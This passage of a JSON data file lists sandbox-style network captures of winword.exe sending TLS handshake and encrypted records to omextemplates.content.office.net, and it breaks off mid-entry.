  503. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x19\\xfb\\xda\\xc1\\xcc;\\xbat\\x94\\xe2a\\x14\\x1b\\x8b\\xe2\\xe4\\x9e\\xe6\\xea\\xe1p\\xe8\\xce\\xc5\\xfdl\\xe4\\xdd\\xc8\\x16\\xef\\x03\\xfbf\\x9b\\x15\\xd66[\\x87\\xb8\\x9ds\\xad\n9\\xa9\\xd8\\x9a\\xf4\\xfc(.4\\xeb\\x1d\\xdc\\xf1\\xf2\\x82\t\\xf4\\xf9\\xd2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000k\\x8c[cl\\xd8\\xd2\\x8b\\xed\\x81\\x8bo\\xa2\\xf1j\\xe1,\\x98v'\\xb1k\\x04\\xf5\\x00\\xf6\\xf3s\\xac\\xca\\x01?\\xcc\\x1ds\\\\x1a!\\\\x9b\\x0e\\xec\\xb0\\xf1\\xbc\\xed$\\x05"
  504. },
  505. {
  506. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd7\\x90?\\x17\\x0c\\xae\\x99\\x0bb2\\xbb\\xfb\\x8dc\\xa2\\x16\\x8bw\\x01s\\xbcg5\\x94\\xf5\\xc0\"\\x8cf\\xa3\\xcc$q\\x8a\\x133\\xe6\\xe1\\xd3\"\\xa9<\\xfdf\\xa7\\xe6e\\xd9f\\xe3\\xa4kj\\xe3\\xc6\\x12\\xea\\xf2\\x82i]\\x95qa\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000,\\x19\\x04\\xa2/`v#\\xd1\\xab#\\xed[\\xd0\\xe8\\xa4\\x82s\\xb2\\xae$b\r%\\xde\\xc7'\\x1e\r\\xdfgw[\\x80\\x10\\xe5\\x11\\xb7\\xc3\\xa8\\x10\\xbb\\xf01\\xa2a\\xf8\\x9e"
  507. },
  508. {
  509. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6bs\\xabq\\xcbtd>\\x06\\xd7u\r\\x00\\xa9\\xd7\\xd9\\x1ew=.\\x1c\\x98\\x0e\\xf88l\\xcf\\xc9\\xba\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  510. },
  511. {
  512. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6bw\\x16\\x8cx\\x1b\\x9b\\x1f\\x00'8vel\\xb5\\xae\\x86k,v\\xccg^\\x8a\\x0e7\\x17~8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  513. },
  514. {
  515. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6b?\\x88j\\xd3`\\x90\\xc1\\x08\\x89\\xbd\\xa8_y\\xc8\\xa5 t[\\xe1\\x9bb\\x1a\\xe4\\xcf8\\xd4y\\xca\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  516. },
  517. {
  518. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb1)\\xbas^\t\\xa3\\xbb\\xa3\\xca\\x8b\\x19=ux\\x9e\\xe5\\xeb\\xb3{p\\xb7\\x1a\\x14\\x0c3\\xc5`\\x8b\\xdbn/\\x8f\\xfb,i^%\\xa5\\x8c\\xde\\x0e6\\x93\\x931\\xac\\x1c\\x02\\xf7\\xcc\\xc8\\x1ec\\xad\\\\xeb)\\xb3\\x15\\x10\\xeb\\xe7\\x9f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9db\\x14\\x96\\xe7\\xaa\\xb9\\x94\nga\\x0e\\xbc\\x93tcp\\xc8\\x91\t\\x14\\x14\\xcc\\xd1\\xd6\\xde\\x85\\x1a\\xa3n\\xee6\\xf7{&_\\x9a\\xaa\\xf5l\\xbbyz\\xc3\\x0e\\xbb\\xdd\\xc7"
  519. },
  520. {
  521. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6bg7\\xcd\\xa0m\\xe1\\xc3\\xda\\xa0\\xb6\\xad\\x9b\\x17\\x80{\\xdd\\xb9`f\\xc8v\\xd9\\xc4\\x1b\\xc6\\xe4\\x9d\\x86\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  522. },
  523. {
  524. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd7\\xea\\x81d\\xb6\\xc2\\x01\\xd2n\\xc2\\xd0w3\\xd4e,n\\x1a\\xb4z\\xa9t|\\xa2\\xd3p[\\x82'mb\\x17\\xb5\\x1fw\\xd7g\\x0f\\xf0@\\x0f\\x80\\xd7>\\x0b\\x87\\xb6\t)s<~\\xbf\\x95b\\x12\\x9c\n\\xa7\\x80\\x91?\n\\xe2\\x8f\\x97\\x05\\xb1\\x7f<\\xd2\\xce\\x9f\\x11d\\xd5}$\\x1b,g\\x1e\\x02\\xdbh\\xf5\\x9b\\x9az\\x0c\\xed\\xef\\x1a\\xad\\xfd\\x8c\"\\x9e\\x81\t\\xb4o\\xc8k\\x84\\xab\\x12\\xd5\\x96\\x9b\\x11\\xe2\\xb4j\\xfe\\xee\\x8b\\x0e\\xcf\\x86\\xfd\\x17\\xeb\\x089j\\x84\\xfe\\xf9\\xc4\\xdb\\x1d\\xf3\\xdfc\\x92\\x9d\\x16\\x96i\\xa1\\xef^8\\xa9\\x81jw{\\xd9;=\\xb7\\xdb\\xf4\\xf6\\xbaht\\x19\\x81\\xa0\\x03\\xc43\\xbd\\xcd\\x9e\\x03\\xa7t\\xc2\\xeep*w\\x8azw\\xa0c\\xf9\\xb9\\xa4\\x8c\\xea\\xe3u\\x06\\xff\\x05\\xb0;\\xf6w\\xc0\\xe2e<0\\xc3\\x11\\x8d\\x08\n\\xc9rx'c\\x04\\xda\\xcc\\xff\\xb6\\xb9o\\xbc\\x8d5\\x199chk\\xa58s_r\\x05\\xd1\\x97\\x16\\xd2aq\\xd8\\xb8\\x00^\\xdf\\x13:\\xa4\\xe1\\xdcaf\\x11v"
  525. },
  526. {
  527. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb4 !\\xec\\x19\\x83p\\xd4\\xe2iu\\xd7yy\\xfb\\x9d\\xbfzp\\x16\\xbe\\xd4\\xe5\\x91\\x1f\\xd4\\xf3\\xb6\\xbc\\xe0\\xfbizc@3o&k1\\x19\\xf4\\xe1c]\\xd0\\xe5=zc\\xe8%'\\xcb\\x16\\xfeu\\xd3\\x19\\xd19\\xf8\\xaf\\xc0\\xc1e\\xfe\\xae\\xdd!zg\\xc1\\x96\\x1c\\x8d\\xa9\\\\xee\\x19\\xce\\xdf\\xd8\\xe9\n\\xcf\\xaf\\xbb\\x93\\x176\\xceq>1e\\xfeu\\xa2\\x0c\n\\x8f37yx\\x93r6\\x19\\x90 ,\\x98\\xdf\t\\xdeee\\xfd\\xa8\\xea\\xee\\xcc\\x92e\\xb6\\x05\n\\xe3\\xd1\\x82o\\xf4ci=\\xcbek\\xeb\\x92.v\\xa3\\xde\\x80\\x8fqi\\xcf[\\xde\\xde\\xb9`\\xbd.\\xf7\\xba\\xb8\\xd8\\xf7\\x9b;l\\xc5s\\xa6f\\xbc\\x93&\\xc3\\x86\\xbf\\x86o\\x0f\\xe2\\x1d\\x87\\x92\\xa2\\xa7\\xe0p\\xd9\\x15\\xa4x')4\\x82\\xdbx\\xef\\x14\\x00|\\x0fp\\x88!\\x1a\\xb2\\xbc\\xea\\x06\\xe9\\xfd\\xaax\\x82\\x9b\\xde+;\n\\x05p\\xc0\\xcb\\xe0\\xe2\\x0b-:\\x84\\x02/9\\xf5\\x97r\\xe3k\\xd0\\x82\\xef\\xf6'\\xd0\\x04\\xce\\xb4\\x06b\\xf4x"
  528. },
  529. {
  530. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010b\\x11\\xc0\\xff\\x99\\xb1\\xda\\xa6[\\xa6\\xf7\\x96\\xe0f?>\\xfd!\\xe8\\x14\\x08\\xf7\\xb1m\\xce\n\\xd9y3\\xb2\\xd0ievp{gx\\xb0n\\x86\\xfd\"\\x8e\\x99\\xf7\\xe3\\xfe\\xfe\\xc7\\x11|n\\xb09\\x1b{a\\xe3@\\x0f\\x9b\\xc8(x\\x92h\\x15tvd.\\xfc\\xaf\\x8a\\xe0\\x94\\x12\\xa3=+~\\xf6#\\x8f\\xccm0k\\xaffw\\x9a\\x14\\x8bi@(\\x88x\\xb5\\xda\\xe1.\\x82\\x9c@\\xf20\\xd0\\xbf\\x86\\xef\\xcf\\xd8\\xe6\\xc8\\x0e\\x80\\x16m\\x1e\\x0e\\x9e\\xd5\\x96\\xcba\\xdc\\xc0\\xf0\t\\xa9\\xa3\\x17\\xb3\\x0e\\xfc\\x11\\x88\\xb6=\\xf5\\xb96\\x9b\\x92\\x9c\\xe1\\x04\\x8f\\xfc^\\x1a\\x8dq\\xbc\\xf6\\xe5\\xef\\xdd\\xf2\\xa8t\\x1ao\\xb4b\\xed]\\xe64\\xa5\\x100\\xbe+\\x81!\\xa0;\\xb5a\\xaf\\xc29ko\\x8b\\xefe\\xd8f\\x85\\xa7\\x0e\\xc7\\xef\\xae\\x01\\x13/\\x93\\xbf\\xbc\\xc8f\\xe5\\x95p\\x9f\\xc4[\\xe1\\x82+\\x18\\xd9}\\xcdg\\xb8\\xb5\\x8bx+\\xcd\\xee\\xc9\\xa9xi\\x83/$\\x12\\xea\\xc8;\\xcbyi\\x97.\\x8eo\\xb3hq\\xa6\\x18"
  531. },
  532. {
  533. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6bk\\x8c\\xe9*\\x9a\\x19i\\x10q\\x16\\x89!\\x9f\\xf9~\\xa9\\xcf\\xd0\\x87\\xaf\\x1c\\x1dhg\\xb4\\\\x02\\x8d\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  534. },
  535. {
  536. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010)k\\x0em'$\\xbd1\\xc0\\xf0\\x81)\\xecjx5\\x7f\\xc9\\xc9n\\x99=u\\xdc\\xe9\\xce\\xd8\\xb1|\\x0e\\xf5j\\xfd\\x00\\\\xe2\\xcby\\xfa\\x04\\xcc\\x8e\\xe5\\xb2\\xf0j\\xf4j\\x91\\x19\\xf2kvj\\x8f\\xfb\\x1e%on'}_\\x82\\xfc\\xbcr'\\x01\\xb0\\x8e+x\\x16\\xf3\\x83!\\xae\\xcd\\x10\\xb5\\x8b\\x9e\\x18\\xc8\\x87\\x9b\\xae\\x8d\\xa4\\x84\\x95\\x0e\\xdf\\xa8;\\xc5\\x980cy\\xca\\x04\\xd0y\\xf3\\x7f\\x8bxd\\xc5\\xc4\\x89\\xdf\\x8d5\\xa9\\xf0\\xb9\\xe9\\xce\\xb9(\\xdc\\xb1\\xc4x\\xa4\\x827\\x97\\xc8k9c\\xba\\x15\\xf8\\x0c\\x9apf\\x0e\\x80\\xd1\\xf6\"\\xd6b\\xd4\\xa1c\\xee\\xa5\\x84\\x0c&\\xb4\\xc7h%\\xc4\\xb9\\xe8$a\\xff\\xb4\\x99\\xe45\\x0c=\\xdf&(\\xc19q\\xd3/\\x05*`h\\x98+\\xf0_\\xcbd\\x0e\\x98\\x1du\\x9e\\xa7+\n\\xd9r( ?\\x17\\xd9\\xd8f\\xdc\\xfdd\\xa4\\xe3<\\x0fh\\x15v\\xeb\\xcbd\\xf4}\\xeei\\x7f\\xa1n\\xbfr\\xbc:u5\\x9as\\x11\\x04\\xd0\\xd4\\xcf\\x90\\x98t\\x1f`\\xd9\\x02\\x84\\xc1b"
  537. },
  538. {
  539. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6b[\\x8c\\xc5\\x9e_\\xfdu\\x9c\\xfa\\xe4\\x8a\\x88\\xec\\xc1bv\\xbf\\x9b\\x0c\\xda\\xbde\\xa8\\xda\\xb6\\xff\\x8c+\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  540. },
  541. {
  542. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6b\\xc0\\xdf\\xe0,g\\x02 qs\\xd8\\xbd/\\x10\\x9e\\x83\\x90\\x9d\nb\\x08\\xe1\\xb4\\x9d\\xa4\\xca}\\x1f\\xc1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  543. },
  544. {
  545. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xcf^\\x9e\\x8b!\\xaa\\xa6q\\xe7\\xf2^\\x8c\\x91b\\x91o\\xefrkr\\xa1!\\xfd\\xcd\\x15\\xe6\\x14a\\xf7\\x9c\\xd0\\x19\\xd5f<iz\\xa5\\x90i\\xd5$5nb\\x00:\\xa4\\xe9w\\x7f\\x8c\\xc7\\x1f[_?\\x8b\\xf7\\xc2kjx\\xfc\\xd6\\x95\"\\x13m\\x0e'\\x99\\xc5ygmc\\xa1qw\\xb4'\\x10\\x9d\\x96uu\\x12\\xbc\\xbb5\\x8b\\x18\\xed\\xfbn\\xf6\\xac\\xe4\\xaeh\\xd8\\x0f\\xd5m\\x17\\x1fp1\\xdfw^\\xaf\\xfc\\xa2\\xbez\\xb6\\xae\\xec\\xdc\\x9b\\xd9\\xdez<\\xf6\\xde\\x07\\xa4q\\xb2s\\x04\\xd0\\xe8\\xd7\\xe24\\xb6\\x00;b\\xf0\\xe9x&\\x81\\x8f\\xdb\\x0c\\x17\\x9auoj&\\xde9sb\\xf8\\x15^a\\xbfm\\xf3\\x1c*i\\xc2\\x96\\xded\\xd4\\xc8\\xbf\\x80\\xd6\\x08l\\x05w\\x84\\xf1\\x7f\\x1be:\\xc6\\x80\\x12\\xfc\\xc6u 3\\xffzd\\x17\\xc4\n\\xb6\\xb4w\\xe72\\xb3\\xcc\\x8d\\xc4\\x0f\\xd9\\xd0 }\\xac\\x1d\\xa2h>\t\\xb0z8f\\x959\\xee\\xa8>\\xac\\xa2\\xfa\\x1c\\xac\\xbc0_\\x01\\xf2\r\\x0fi\\x00\\xa9\\xa9\\x9d'"
  546. },
  547. {
  548. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe8\\x1f\\xbal\\xce\\x95\\x7f\\xfa\\xa7\\xef\\x03\\xf6s\\x80\\xe55<\\xfc,\\xdff\\xc9\\xe9\\xaf\\xbf\\xbf(g\\xfc\\xd7a\\x10\\xa4\\xe2\\x1a\\xafr\\xb2\\x9a\\x918\\xe3n\\xa8g{\\xc23l\\x80\\xf4kn\\x9e\\xa2\\xd1o\\x19\\x1f\\x16\\x05x\\xb6\\xf1\\xe8\\x9e\\xf6\\xb6\\xb7\\x82\\xbd\\x0e\\x83\\xf3\\x84\\xb6~\\xcc\\xf5\\xb5\\x95\\x01\\xe4\\xe6\\x1e\\xf9)m\\x8fh\\xf3\\xc7g\\xda\\x8c\\xa9\\xe1\\xb9\\xed9\\x11\\xda\\xdc_\\x0c\\x86\\x8a\\x97\\xb4-\\x07\\x10\\xd5\\x92\\xa2_h\\xf5\\x9e\\xc8\\xcfj\\xc8\\x1bou\\xbee}\tq\\xa9\\x01\\x14\\x039\\xf8v\\x9f\\xae\\x17g\\xa6\\x19t\\x8d\\xb0\\xf4\\xe9\\x952\\xa2\\xcbq\\xb8g|y\\xff\\xc6\\xf7\\xffx\\xf8\\xda\\xe7}\\x85\\x02x\\xa3`\n\\x7f!#yw\\xa8\r\\x99\\xe4\\xe2\\xd7\\x01\\x11\\x9a \\xdeu\\xe5\\xd1u\\x1c\\x93\\xf2\\xf4=\\xa5\\xb7\\xc8\\x87\\x16t\\x0f\\xd71\\x17c\\xa1\\x87\\xa1xd\\x03\\x88\\x7f;\\xc0,\\xc7\\xd41\\xb2\\xea9\\x0e\\xac!\\x94\\x10\\x0f\\x84d\\xa9\\x05\\x12\\x8a\\xdallz+\\xdd\\xab`\\xf9\\xe1y\\xb1\\xfc"
  549. },
  550. {
  551. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010;$n\\xb3\\xdc\\x02\\x14\\x05\\x06\\xa5\\x0f\\xc63\\xde\\xd2\\xa6q\\x12dp\\x14\\xc5\\x16\\x04\\xa2#s\\x99\\xe3&%2\\xec\\x05\\x03!\\xda\\xd6w\\xee^\\xfc\\xb9\\xb2\\x12\\xea\\xc0\\xac4\\x15\\x91\\x93+\\xa0\\xa3\\xeb\\xcf y\\xc6\\x91\\xcb\\x9cv\\x81\\xb7\\xa9b\\xec?4\\xc8\\x99\\x0b\\x7f\\xcb\\xff\\xe5\\x94w\\xb3\\x9a\\xb0x\\xbc\\xe1\n\\xdca.\\xae\\xfa\\x98\\x133\n\\xa4\\xe5m\\xc6\\xe6\\xf0bsuz\\xd2\\xbf\\xa79\\xa6\\xc7\\xcf\\x1e\\x0e\\x9a\\x81\\xb9\\xcc\\x92\\xcew\\x13\\x8e\\xf8('\\xfa\\xd0\\xa1r\\x1c\\xfe\\xc3\\xcf\\x85\"\t7\\xf5\\x0f)\\xcf\\x15\\x96\\x96!\\x02\\x04\\x93\\xf4</\\xf1\\xcc#\\xa4\\x13l\\x1d\\xd6\\xfc\\xa3_e{|6l\\xd6\\xdd3\\x07\\xc4\\xec\\xab9?\\xd7\\x9d\\xe2\"\\x91\\x01\\x0f\\xefz\\xf5\\xa7\\x94u\\x10e\\xab\\xe4_\\xa7i\\xa7w\\x05\\xbcj\\xf0\\xab\\x8e\\x89\\xd1\\x90!%\\xb4\\x00\\xe0tz\\xb0~\\xe0\\x971\\xcb\\xdet\\x15\\x9cm\\x06s\\x8e;\\x94\\xfae\\xa8o\\xad9li\\xca4\\x8b\\xc1\\xce\\x8e\\x90\\x82x\\xa5\\x1e"
  552. },
  553. {
  554. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x99\\xe4v1\\xcamv~\\xe3>%\\xb7u\\xa0\\xcd\\x0c\\x9d\\xe5\\x1aw;\\xb9\\xba\\x12\\x93\\xd39s\\xf2t\\xd1c\\xf1\\x83\\xbf\\x80c\\xeb\\xffx\\x8c\\x0e\\x87\\xdf\\xd5\\xe4\\xe6\\x8di\\x04\\x96\\xce\\x1e\\xa0\\xd9\\x0c\\x83\\x841\\xb9#\\xba\\xe1v\\\\x89\\xa9ox\\xa1\\xdb\\xe3\\xa8\\x9b\\x93\\xd4\\x97\\x95\\xb2\\xd4u\\x88a\\xd1\\x1d\\xb4o\\xb8\\xee>\\xdb\\xe8f\\x93s\\x90m^\\x8b\\xe5f\\x1a\\x83<`\\x08\\xff{\\x16\\x8bw)d\\xdb\\xb3\\xe0\\xde\\x90\\x81\\xcf\\xab\\x15d\\xdf\\x19\\xce\\xa83\\xe8wi\\x95?\\xb9<\\xd9\\x08\\xb3b*.l\\x01i{s>\\xcc\\xd8\\x82`\\xb1\\x13\\xfd\\xb6\\x02|<t\\x90,`\\xba\\xc0\\xdc\\xeb:i}\\x9bvq\\x94\\xe6\\xb4f\\x1a\\xaec\\x1b\\xc8d\\x07\\x0e\\xe5\\xbe`@\\xc0\\x9a\\x14\\xc8\\xc5\\xb7ih@\\xb2%\\xc3)a\\xe6i\\xb5m\\xbew\\xd2\\xeeg\\xafp=\\xd9\\x0e0\\xe5\\xa3\\x92\\xe65\\x13j\\xa5\\x04#\\xd3\\x8b\\x896\\xb8\\xb5z\\xee \\x07\\xd2\no\\x98zi*\\xec.\\x98\\xb6\\xa8\\xf2q"
  555. },
  556. {
  557. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6b\\xa58t\\xa7u\\xaf\\xd3\\x8a\\x92h>j\\xfcx<:\\xfb\\xf0s\\x902\\xb6s\\xd1k2\\x84v\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  558. },
  559. {
  560. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xfbv\\x92\\x06\\xad(\\xc3<\\xaa:\\xfb\\xbd\\xee \\xc2`\\xb4b\\x82z\\xb0s\\xbb7kz\\x90zk\\xdf\\xf9\\xc03\\xfb\\x9a\\xcd<\\xf4l\\xac\\x93\\x9d\\xf8u\\\\xf0\\xf3ncv+p?\\xdep\\x03\\x04\\xca\\xaeki\\x89\\x93\\x86\\xd6\\x1e\\x8d]\\xac\\xdb\\xf4\\x86}3\\x80\\xac\\xf7e\\xfb\\x04e\\xe3\\xec,*2\\xc9\\x14k\\xa5}\\xaci\\x81\\xb7\\xd0a\\xb2\"\\x15\\xd2\\xd6\\x91t\\xbd\\xad\\x1d\\x90hy\\%\\x84\\xe5\n\\x1e\\x13&\\xd8\\xd3\\xe9*:\\\\x1dp\\xe3\\x88v4en\\x1e\\xc3v\\xd7\\x0b\\x1e\\xf5\\x1fr\\xc2\\xad\\xcec\\xaa\\x1b9\\x96\\xb5*.\\xa9l\\xf6v\\x8f\\x80\\xb5\\x1d4\\xe9\\x15\\xa9\\xe6\\xc8d\\xa6\\x97l\\xde\\x8a\\xf3\\x83v\\xa8,\\xeel\\x08\\x0e\\xf0d>uk\\x9c\\x90\\x93\\x98\\x92o\\xcc\\xa8gaq\\x04\\x80\\xfc}\\xba\\xaa9[my\\x1c%\\xedwy\\xc7f\\x90 rd\\x1es\tcf+v\\x7f\\x8d\\x0b\\xba\\x9a\\x1d?\\x81\\xde6ns\\xab\\xd0n\\x13\\xefd\\x8bl\\x9a\\xeew\\xa3d\\xfd"
  561. },
  562. {
  563. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010e\"\\xd5\\xdaf\\xef\\xc1m\\x08\\xb3\tp'x\\xd0\\xa8\\x0ffd6e\\xf6f\\xcag\\x9f&\\x04l\\xcf.\\xe40\\xbe0\\x90&0\\xab\\xcbv/\\x8f\\xf2\\xbd\\x86\\xa6\\x05\\xd0l\\x8f\\xf8\\x19\"cd\\xae\\xa1\\x1c\\xc7;\\x1a\\x14'\\xbe\\x97g\\xfa\\xd1\\x9c\\xf5egy\\x19\\xef-'4dx;\\xb6\\xf4\\xce\\xc3\\xb5\t\\x10\\x14\\xf1\\x13\\x0c\\x17 \\x83|\\x05\\x02i1`\\xa0e)\\xd9~\\x17\\x84\t-\\xea\\x13\\xe2]\"\\x06\\x82\\x89mri\\x16y\\xc5\\xee?\\xf7i\\xad\\x9eq\\x1f7\\xdd/\\xc78\\xa2\\x99\\xb2i\\xa9\\xd9\\xc2j\\xdd\\x8a\\x18\\xc4\\xfd\\x9e\\x87mj2\\x01~x;l\\x90\\xf1\\xf0\\xa5\\xa6\\xe0|\\xaf!\\xab\\x04\\xaf\\x87a\\xe6\"bj\\x08\\xcb\\xdb\\xa9\\xddk\\x87q \\xa7[+\\xfc\\x91\\x9ck\\xd4\\xc9\\x94\\x0f\\xad\\xbc\\x17\\xa81\\xe7\\xbe::_\\xfe\\x02ol\\xe1\\xb0jm<\\xf4\\xea\\x8e\\x8e7\\xf4mu\\xab\\xda\\xe8{\\xd5_\\x06\\xcc\\x83\\xf2k\\x14\\xde\\xd6\\xbc;\\xdd\\xc2e\\xb3g\\xd7\\xf3\\x92\\xfa"
  564. },
  565. {
  566. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x05+\\xadl\\x92}\\x13{/\\x1ev\\x9ar\\x7f\\x83u\\xf5\\xaf\\xc9\\xcb\\xa7\\xc0k\\x1fx8\\xf8\\xb0q#d\\xe8\\x9f\\xc2\\xa8\\xdek\n\\x86\\xba\\xe9\\xc3\\xe3e\\x02\\xac\",\\x94\\xc8\\xe6\\xd1.\\xdf\\xeai\\xde\\x1f\\xfa\\xe8lu\\xc4w\\xb8#\t\\xffkh\\x84\\xd6\\xcc\\xa8\\x88p\\xe3\\xf5\\x89e\\xa0-z\\xf1!c>gw\\x1a\\x9b2h\\x84\\xd8\\x19q,\\xb7eeeu-cr\\xf4\\xbf)\\xd4\\xdc\\x8f\\x03\\x9b\\>\\xb3\\xccv.}\\xee\\x82\\x80\n\\x99b\\xb7\\xcf6`\\xb8\\xa4\\xbfm\\xa4\\xddz\\xc3w\\xa4\\x08t\\xfb\\xbb9\\xa8\\x18bx\\xe5\\x80\\xbd\\xd9\\x81\\xa9\\xb5\\xe22\\x96\\xc3$\\\\xeb\\x9a\\xa1\\xad=\\xa0i\\xe9\\xb0gd\\xe9\\x1f\\xb7\\x1d\\x17\\x87d/mg\\xed\\x00\\x1a\\x06\\x06\\x8dd\\x89wre|s\\xe4\\x1b\\xb1x\\xa8\\xeb\\xca\\x1ec\\d\\x1d=\\xfb\\x99d0\\xafe\\xe5\\xa6+\\x1b\\x94o}#y\\xd02x\\xc1\\x1b?\\xb0\\xaf!<x\\xa8\\x81lkl\\xc8\\x0ch\\xda\\wps6\\xbd"
  567. },
  568. {
  569. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x06u\\xb4i\\xe4\\xabtdm\\xca\\xe6\\x7f\\xeap\\x07\\x81\\xbf\\xd9\\xfdgpr\\x93\\xb5;\\x07\\x9dn/\\x9f\\x82u\\x92\\xa8}b\\xd1p\\x95-\\x0f\\x06\\xf7\\x90w\t\\xe3\\x93\\xf2~\\xbda\\x93\\xf1(0\\xc046eh\\x89u\\xd0w\\x02\\x11\\xf1\\xbd\\x12w\\x97\"\\x9e\\xfcj\\xdc\\x0c\\xea\\x06s\\xaf\\xd0\\xed\\x02\\x12\\xfdzv\\x91\\x15\\xd3\\x9e\\x9a\\x89%s\\xf1c\\x17\\xfa\\xa0\\x88\\xd4nqd\\x85\\xbep\\xac\\xb4\\x9a\\x1e\\xde\\x1cmo\\xcf\\xc7[\\x1e`u\\x8d\\xd8\\xbe\\xff\\xa3\\xc3\\xf7\\xdb\\x8e\\xa0jh\\xb0)w)\\xd7\\xbd\\x84\\xdb5\\xa1\\xdb\\xcd\\xce\\xacx\\xca\\xbf\\x9f\\xa6\\x0eh\r;x6\\xb3\\xb1\\xcb\\x99#\\xa92\\xd9l{n\\x18\\xbe\\xab-\\xa0\\xec\\x04\\x19\\xc2\\xc3\\xed\\xaf\\xa3\\xf7\\xe2\\x1f\\x02x\\x94\\x80\\xe5\\x1d~\\x06$\\x97\\x0b\